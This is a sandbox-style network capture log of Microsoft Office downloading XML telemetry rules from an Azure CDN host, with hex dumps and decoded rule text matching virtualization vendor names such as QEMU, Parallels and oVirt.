Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:04 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: b7b81bb6-b01e-0084-3bc8-26d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193804Z-17c5cb586f6z6tw6g7cmdv30m800000008ag00000000fzd9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:04 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:04 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: cb951b4e-f01e-0020-727f-28956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193804Z-17c5cb586f6mkpfkkpsf1dpups00000002ag0000000073na x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:04 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:04 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:04 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193804Z-16849878b78qf2gleqhwczd21s000000077g000000007c16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:04 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:04 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:04 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:04 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e574f622-301e-0052-4beb-2565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193804Z-16849878b786lft2mu9uftf3y40000000890000000009tg3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:04 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:04 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:04 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:04 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193804Z-16849878b78j5kdg3dndgqw0vg00000008t0000000001za9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:04 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:05 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:05 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 909d81a9-e01e-0099-782c-29da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193805Z-15b8d89586ff5l62aha9080wv000000008d0000000001hrp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:05 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:05 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:05 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: a3f41134-c01e-00ad-7d0b-29a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193805Z-15b8d89586fzhrwgk23ex2bvhw00000009yg000000007cng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:05 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:05 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:05 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193805Z-16849878b786lft2mu9uftf3y400000008a0000000004k2e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:05 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:05 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:05 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: f4a85f8f-401e-00ac-0701-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193805Z-16849878b787bfsh7zgp804my400000005t000000000dp8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:05 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:05 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:05 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 4b1c8405-301e-005d-7701-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193805Z-16849878b7867ttgfbpnfxt44s00000006u000000000px7e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:05 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:06 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:06 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: b357c660-c01e-008e-6e16-297381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193806Z-15b8d89586fxdh48ft0acdbg4400000000sg00000000aenx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:06 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:06 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:06 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:06 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ad4459d7-101e-007a-6a4c-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193806Z-16849878b78fssff8btnns3b14000000079g000000009yff x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
